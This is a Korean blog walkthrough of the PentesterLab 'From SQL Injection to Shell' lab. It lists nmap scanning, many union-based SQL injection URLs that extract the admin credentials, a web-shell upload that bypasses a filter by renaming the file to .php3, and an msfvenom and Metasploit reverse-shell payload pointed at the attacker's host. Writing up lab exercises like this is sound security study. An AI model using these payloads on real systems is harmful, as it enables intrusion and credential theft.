2018. 8. 6.

[PentestrLAB] from sql to shell 취약점 점검


PentesterLab 의 from sql to shell 에 관해 취약점 점검을 해본다.

만약 대역을 지정하고 살아있는 호스트를 검색한다면 nmap -sn x.x.x.x/24 라고 검색했을텐데 나는 특정 호스트의 IP 를 알고 있기 때문에 바로 상세 스캔을 진행한다.

# nmap 구동
nmap -sT -sV -A -O -v -p 1-65535 192.168.203.131


스캔 결과 80번 포트가 열려있고 Apache httpd 2.2.16 (Debian) 사용중이라는 정보를 얻을 수 있었다. 


# dirb 구동

# nikto 구동

# sql 인젝션 취약점 발견

1) union 방식








192.168.203.131/cat.php?id=1 에서 취약점을 확인하려 한다.

[order by 를 통한 취약점 확인]
http://testsite.com/cat.php?id=1 order by 1#
http://testsite.com/cat.php?id=1 order by 2#
http://testsite.com/cat.php?id=1 order by 3#
http://testsite.com/cat.php?id=1 order by 4#
http://testsite.com/cat.php?id=1 order by 5# -> 컬럼 갯수가 4개라면 order by 5에서 에러 발생 (여기서 컬럼이란, id, title, img, cat 이런 것을 의미함)


[having 을 통한 취약점 확인, mssql 인 경우만 해당됨]
testsite.com/cat.php?id=1 having 1=1#  --> 취약점이 있다면 에러발생

[union all select 를 통한 취약점 확인]
select * from test where id=1 union all select null; 
select * from test where id=1 union all select null, null; 
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null,null;
select * from test where id=1 union all select null, null, null,null,null; --> 컬럼 갯수가 4개라면 5개 null 을 통해 에러 발생

[참 거짓으로 취약점 확인]
testsite.com/cat.php?id=1 or 1=1# -> 모든 컬럼이 노출되면 취약점 존재

[time 기반 취약점 확인]
testsite.com/cat.php?id=1 and sleep(5)# -> 5초후에 페이지가 뜬다면 취약점 존재

[정수기반 취약점 확인]
testsite.com/cat.php?id=2-1  -> id =1 일때와 동일한 결과를 출력하므로 취약

[취약점 존재가 확인되었고 데이터 출력을 시도함]
testsite.com/cat.php?id=1 union all select null,null,null,null; ->  데이터 출력 위치를 확인한다
testsite.com/cat.php?id=1 union all select null,@@version,null,null; -> 두번째 컬럼에서 함수가 실행되어 5.1.63-0+squeeze1가 출력되는 것을 알 수 있다.mysql 임을 확인하였다.

http://testsite.com/cat.php?id=1 union all select null,schema_name,null,null from information_schema.schemata; --> 스키마 name을 확인하였고, information_schema, photoblog라는 이름을 얻었다, 참고로 mysql 은 출력이 안됨


http://testsite.com/cat.php?id=1 union all select 1,database(),3,4; -->현재 사용하고있는데이터베이스 명을 알 수 있다.photoblog 이다.


http://testsite.com/cat.php?id=1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database(); --> 현재 사용하고 있는 데이터베이스 안에 있는 테이블을 알 수 있다. 

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema in (0x70686f746f626c6f67) --> 데이터베이스가 phtoblog 인지 알았으니 in (헥스값) 으로 진행 할 수 있다.




http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name in (0x7573657273) --> 이와 같은 방식으로 users(0x7573657273) 테이블의 컬럼( id, login, password ) 를 알 수 있다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=users -->이유는 모르겠지만 table_name=users 는 적용이 실행이 안된다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(concat_ws(0x3a,id,login,password)),3,4 from users; --> concat_ws를 사용하여 : 구분자를 이용한 데이터 출력이 가능하다. 1:admin:8efe310f9ab3efeae8d410a8e0166eb2라고 데이터를 확인 할 수 있다.

2) boolean 참 거짓 을 이용한 방법

** 풀네임으로 찾는 방법
http://testsite.com/cat.php?id=1 and (select 2 from users)=2  --> 이와 같이 users 라는 테이블이 있는지 직접적으로 확인 할 수 있다.
** 문자 하나하나씩 찾는 방법

# upload 공격
앞의 sql 인젝션 공격에서 관리자 계정을 취득하였다. (admin/P4ssw0rd)

192.168.203.131/admin 으로 접속해서 로그인을 하면 파일 업로드하는 페이지가 존재함을 확인하였다. (http://192.168.203.131/admin/new.php)

아래의 php 웹쉘 파일을 올려보겠다.


그러나 웹 사이트에서 php파일을 차단하였다. 그러나 php3 으로 변경하고 업로드 하니 성공하였다.

앞서 dirb 로 확인한 디렉토리 리스팅 취약점을 이용해 웹쉘파일을 실행하면 다음과 같이 웹쉘을 취득 할 수 있다.

nc를 이용해서 실제 쉘을 취득하려 한다.


** metasploit handler 를 이용하여 쉘 취득

1. msfvenom 을 이용해서 리버스 파일을 제작한다.
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.203.135  LPORT=4444 -f raw > shell.php
2. 파일을 업로드 한다. 업로드가 안되면 php3 등으로 바꿔본다.
3. 업로드에 성공하고 업로드 파일을 실행이 가능하게 된다.
4. kalil linux 에서 메타스플로잇을 실해하고 핸들러를 실행한다.

  • use multi/handler
  • set payload php_meterpreter_reverse_tcp
  • set lhost 192.168.203.135(공격자 ip)
  • set lport 4444
5. 핸들러 쉘의 정보는 위에서 만든 리버스 파일의 정보와 동일해야 한다.
6. run 또는 exploit 으로 핸들러를 실행한다. 
7. 웹에서 업로드한 리버스 파일을 실행하면 meterpreter 쉘이 떨어진다.



# 참조

  • http://poqw.tistory.com/24
  • https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8

Popular Posts

Recent Posts

Powered by Blogger.